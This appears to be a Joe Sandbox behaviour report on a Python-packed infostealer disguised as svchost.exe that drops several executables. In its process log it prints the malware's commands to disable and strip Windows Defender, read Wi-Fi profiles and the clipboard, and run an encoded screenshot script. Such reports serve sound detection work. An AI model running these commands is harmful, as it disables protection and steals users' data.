Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E4106	13_2_00007FFB022E4106
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E5B78	13_2_00007FFB022E5B78
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02484170	13_2_00007FFB02484170
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E2C7A	13_2_00007FFB022E2C7A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E5B14	13_2_00007FFB022E5B14
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E29D2	13_2_00007FFB022E29D2
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E4B5B	13_2_00007FFB022E4B5B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E6C21	13_2_00007FFB022E6C21
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E69E7	13_2_00007FFB022E69E7
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E4638	13_2_00007FFB022E4638
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E25F4	13_2_00007FFB022E25F4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E2144	13_2_00007FFB022E2144
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0241C660	13_2_00007FFB0241C660
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022FC620	13_2_00007FFB022FC620
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E177B	13_2_00007FFB022E177B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E5934	13_2_00007FFB022E5934
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E1EA6	13_2_00007FFB022E1EA6
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E6CBC	13_2_00007FFB022E6CBC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02418960	13_2_00007FFB02418960
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022E516E	13_2_00007FFB022E516E

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Microsoft\based.exe 0E66E467CE2A42B3E978DA4E7D26C4C0E75716881D46E5CBE1EA23AD8A062A88
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Microsoft\hacn.exe C59F20641310E8A1C2A04BEA95458425903A63859C77A8E9C13E2631C6E39800
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe 2AA80814A0820390186879E9E3142566A5B16022DF12F446115889E9D69469C8

Source: C:\ProgramData\Microsoft\based.exe	Code function: String function: 00007FFB167A01D8 appears 80 times
Source: C:\ProgramData\Microsoft\based.exe	Code function: String function: 00007FF64E7C2770 appears 82 times
Source: C:\ProgramData\Microsoft\based.exe	Code function: String function: 00007FFB167A01F8 appears 37 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB022E405C appears 113 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB022E1EF6 appears 288 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FF670B82710 appears 104 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB022312EE appears 577 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB022E3012 appears 50 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB01ECC010 appears 47 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB0229E055 appears 105 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB0229DFBF appears 218 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FFB022E2739 appears 63 times
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: String function: 00007FF670B82910 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: String function: 00BC1D60 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: String function: 00BC1590 appears 57 times
Source: C:\Users\user\Desktop\svchost.exe	Code function: String function: 00007FF671182770 appears 82 times

Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.9.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: rar.exe.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: _pytransform.dll.9.dr

Static PE information: Number of sections : 11 > 10

Source: api-ms-win-core-synch-l1-2-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: python3.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-2-0.dll.9.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.9.dr	Static PE information: No import functions for PE file found

Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs svchost.exe
Source: svchost.exe, 00000000.00000003.1263725197.000002156082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs svchost.exe
Source: svchost.exe	Binary or memory string: OriginalFilename vs svchost.exe
Source: svchost.exe, 00000007.00000002.1298247669.00007FFB0C478000.00000004.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs svchost.exe
Source: svchost.exe, 00000007.00000002.1298527101.00007FFB1C307000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs svchost.exe

Source: C:\ProgramData\Microsoft\based.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\ProgramData\Microsoft\based.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9983946492448331
Source: python310.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992515674849344
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9937050102833638
Source: libcrypto-1_1.dll.11.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9983946492448331
Source: libssl-1_1.dll.11.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9922997485632183
Source: python310.dll.11.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992515674849344
Source: sqlite3.dll.11.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9976026860367893
Source: unicodedata.pyd.11.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9937050102833638

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@151/122@6/6

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF671187410 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF671187410

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E94DD0 _Py_NoneStruct,_PyArg_ParseTuple_SizeT,?PyWinObject_AsWCHAR@@YAHPEAU_object@@PEAPEA_WHPEAK@Z,PyEval_SaveThread,GetDiskFreeSpaceW,PyEval_RestoreThread,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,_Py_BuildValue_SizeT,

13_2_00007FFB01E94DD0

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: 8_2_00BBC652 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

8_2_00BBC652

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:368:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Desktop\svchost.exe

File created: C:\Users\user~1\AppData\Local\Temp\_MEI57402

Jump to behavior

Source: svchost.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\svchost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: based.exe, 0000000C.00000003.1588446588.0000021B5C85F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: svchost.exe	Virustotal: Detection: 32%
Source: svchost.exe	ReversingLabs: Detection: 28%

Source: svchost.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: svchost.exe	String found in binary or memory: --help
Source: svchost.exe	String found in binary or memory: --help
Source: based.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: based.exe	String found in binary or memory: --help
Source: based.exe	String found in binary or memory: --help

Source: C:\Users\user\Desktop\svchost.exe

File read: C:\Users\user\Desktop\svchost.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\svchost.exe "C:\Users\user\Desktop\svchost.exe"
Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\Desktop\svchost.exe "C:\Users\user\Desktop\svchost.exe"
Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
